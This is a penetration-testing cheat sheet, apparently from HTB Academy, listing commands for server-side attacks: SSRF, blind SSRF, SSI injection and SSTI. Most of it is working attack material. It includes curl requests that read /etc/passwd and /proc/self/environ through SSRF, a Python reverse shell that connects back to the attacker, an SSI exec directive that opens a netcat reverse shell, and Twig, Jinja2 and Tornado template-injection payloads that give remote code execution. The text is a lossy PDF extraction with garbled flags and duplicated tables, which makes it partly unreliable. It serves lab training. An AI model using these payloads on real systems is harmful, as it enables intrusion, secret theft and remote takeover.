

# SERVER-SIDE ATTACKS CHEAT SHEET

#### **Nginx Reverse Proxy & AJP**

Command	Description
wget https://nginx.org/download/nginx-1.21.3.tar.gz	Downloading nginx
tar -xzvf nginx-1.21.3.tar.gz	Extracting nginx tar file
git clone https://github.com/dvershinin/nginx_ajp_module.git	Cloning nginx_ajp source code
cd nginx-1.21.3	Navigating to nginx directory
./configureadd-module=\$(pwd)//nginx_ajp_module prefix=/etc/nginxsbin-path=/usr/sbin/nginxmodules- path=/usr/lib/nginx/modules	Setting up the configuration for building and installing Nginx web server
make	GNU make utility to maintain groups of programs
sudo make install	Instructing the make command to execute the installation target defined in the make file
sudo nginx	Starting the nginx server

#### **SSRF Exploitation Example**

Command	Description
nmap -sT -T5min-rate=10000 -p- 10.129.201.238	Scanning the ports of the external target

	Command	Description
2 =	curl -i -s -L http:// <target ip=""></target>	Interacting with the target and following redirects
1	nc -lvnp 8080	Starting a netcat listener to test for SSRF
= · /- \ 	<pre>curl -i -s "http://<target ip="">/load?q=http://<vpn adapter="" ip="" tun="">:8080"</vpn></target></pre>	Testing for SSRF vulnerability
	python3 -m http.server 9090	Starting the python web server
	sudo pip3 install twisted	Installing the ftp server
	sudo python3 -m twisted ftp -p 21 -r .	Starting the ftp server
	<pre>curl -i -s "http://<target ip="">/load?q=http://<vpn adapter="" ip="" tun="">:9090/index.html"</vpn></target></pre>	Retrieving a remote file through the target application (HTTP Schema)
	curl -i -s "http:// <target ip="">/load?q=file:///etc/passwd"</target>	Retrieving a local file through the target application (File Schema)
	for port in {165535};do echo \$port >> ports.txt;done	Generating a wordlist of possible ports
::	ffuf -w ./ports.txt:PORT -u "http:// <target ip="">/load? q=http://127.0.0.1:PORT" -fs 30</target>	Fuzzing for ports on the internal interface
СНЕАТЅНЕЕТ	curl -i -s "http:// <target ip="">/load?q=http://127.0.0.1:5000"</target>	Interacting with the internal interface on the discovered port
	<pre>curl -i -s "http://<target ip="">/load? q=http://internal.app.local/load?q=index.html"</target></pre>	Interacting with the internal application
HTB ACABEMY	<pre>curl -i -s "http://<target ip="">/load? q=http://internal.app.local/load?q=http://127.0.0.1:1"</target></pre>	Discovering web application listening in on localhost
i	<pre>curl -i -s "http://<target ip="">/load? q=http://internal.app.local/load?q=http::///127.0.0.1:1"</target></pre>	Modifying the URL to bypass the error message
	<pre>curl -i -s "http://<target ip="">/load? q=http://internal.app.local/load?q=file::////proc/self/environ" -0 -</target></pre>	Requesting to disclose the /proc/self/environ file on the internal application
	<pre>curl -i -s "http://<target ip="">/load? q=http://internal.app.local/load? q=file::////app/internal_local.py"</target></pre>	Retrieving a local file through the target application

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Command	Description
<pre>curl -i -s "http://<target ip="">/load? q=http://internal.app.local/load? q=http::////127.0.0.1:5000/runme?x=whoami"</target></pre>	Confirming remote code exeuction on the remote host
sudo apt-get install jq	Installing jq

### **Blind SSRF Exploitation Example**

Command	Description
nc -lvnp 9090	Starting a netcat listener
echo """ <b64 encoded="" response="">"""   base64 -d</b64>	Decoding the base64 encoded response
<pre>export RHOST="<vpn ip="" tun="">";export RPORT="<port>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'</port></vpn></pre>	Reverse shell payload (to be URL encoaded twice)

## **SSI Injection Exploitation Example**

SSI Directive Payload	Description
#echo var="DATE_LOCAL"	Date
#printenv	All variables
#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP <port> 0/tmp/foo;rm /tmp/foo"&gt;</port>	Reverse Shell

### **SSTI Exploitation Example 1**

3. 3.	Command	Descript	tion	
	git clone https://github.com/epinna/tplmap.git	Cloning t	the tplmap repoistory	
	cd tplmap	Navigatir	ng to the new directory	
= · <del>- \</del>	pip install virtualenv	Installing	g the virtual environment with pip	
	virtualenv -p python2 venv	Creating python2	a virtual environment named venv with	
=	source venv/bin/activate		g a Python virtual environment, configuring to use the virtual environment's Python er	
	pip install -r requirements.txt	Installing	g dependencies	
	./tplmap.py -u 'http:// <target ip="">:<port>' -d name=john</port></target>	Running	tplmap against the target	
	./tplmap.py -u 'http:// <target ip="">:<port>' -d name=john os-shell</port></target>	Running	tplmap with the os-shell option	
18559 33 2 37 68	<pre>{{_self.env.registerUndefinedFilterCallback("system")}} {{_self.env.getFilter("id;uname -a;hostname")}}</pre>	Twig RC	E payload	
	SSTI Exploitation Example 2			
CHEATSHEET	Command		Description	
EMY CHE	<pre>curl -X POST -d 'email=\${7*7}' http://<target ip="">:     <port>/jointheteam</port></target></pre>		Interacting with the remote target (Spring payload)	
HTB ACABEMY CHEAT	<pre>curl -X POST -d 'email={{_self.env.display("TEST"}}' http://<target ip="">:<port>/jointheteam</port></target></pre>		Interacting with the remote target (Twig payload)	
	<pre>curl -X POST -d 'email={{config.items()}}' http://<target <port="">/jointheteam</target></pre>	IP>:	Interacting with the remote target (Jinja2 basic injection)	
	<pre>curl -X POST -d 'email={{ [].class.base.subclasses() }}'</pre>		Interacting with the remote target (Jinja2	

Command	Description
<pre>curl -X POST -d 'email=\${7*7}' http://<target ip="">:     <port>/jointheteam</port></target></pre>	Interacting with the remote target (Spring payload)
<pre>curl -X POST -d 'email={{_self.env.display("TEST"}}' http://<target ip="">:<port>/jointheteam</port></target></pre>	Interacting with the remote target (Twig payload)
<pre>curl -X POST -d 'email={{config.items()}}' http://<target ip="">:     <port>/jointheteam</port></target></pre>	Interacting with the remote target (Jinja2 basic injection)
<pre>curl -X POST -d 'email={{ [].class.base.subclasses() }}' http://<target ip="">:<port>/jointheteam</port></target></pre>	Interacting with the remote target (Jinja2 dump all classes payload)
<pre>curl -X POST -d "email={% import os %}{{os.system('whoami')}}" http://<target ip="">:<port>/jointheteam</port></target></pre>	Interacting with the remote target (Tornado payload)

Command	Description
./tplmap.py -u 'http:// <target ip="">:<port>/jointheteam' -d email=blah</port></target>	Automating the exploitation process with tplmap

# **SSTI Exploitation Example 3**

HTB ACABEMY CHEATSHEET

Command		Description	
<pre>curl -gs "http://<target ip="">:<port>/execute?cmd= {{7*'7'}}"</port></target></pre>		Interacting with the remote target (Confirming Jinja2 backend)	
<pre>./tplmap.py -u 'http://<target ip="">:<port>/execute? cmd'</port></target></pre>		Automating the templating engine identification process with tplmap	
python3		Starting the python3 interpreter	
Methods	Description		
class	Returns the object (class) to which the type belongs		
mro	Returns a tuple containing the base class inherited by the object. Methods are parsed in the order of tuples.		
subclasses	Each new class retains references to subclasses, and this method returns a list of references that are still available in the class		
builtins	builtins Returns the builtin methods included in a function		
globals	_globals A reference to a dictionary that contains global variables for a function		
base	_base Returns the base class inherited by the object		
init	Class initialization method		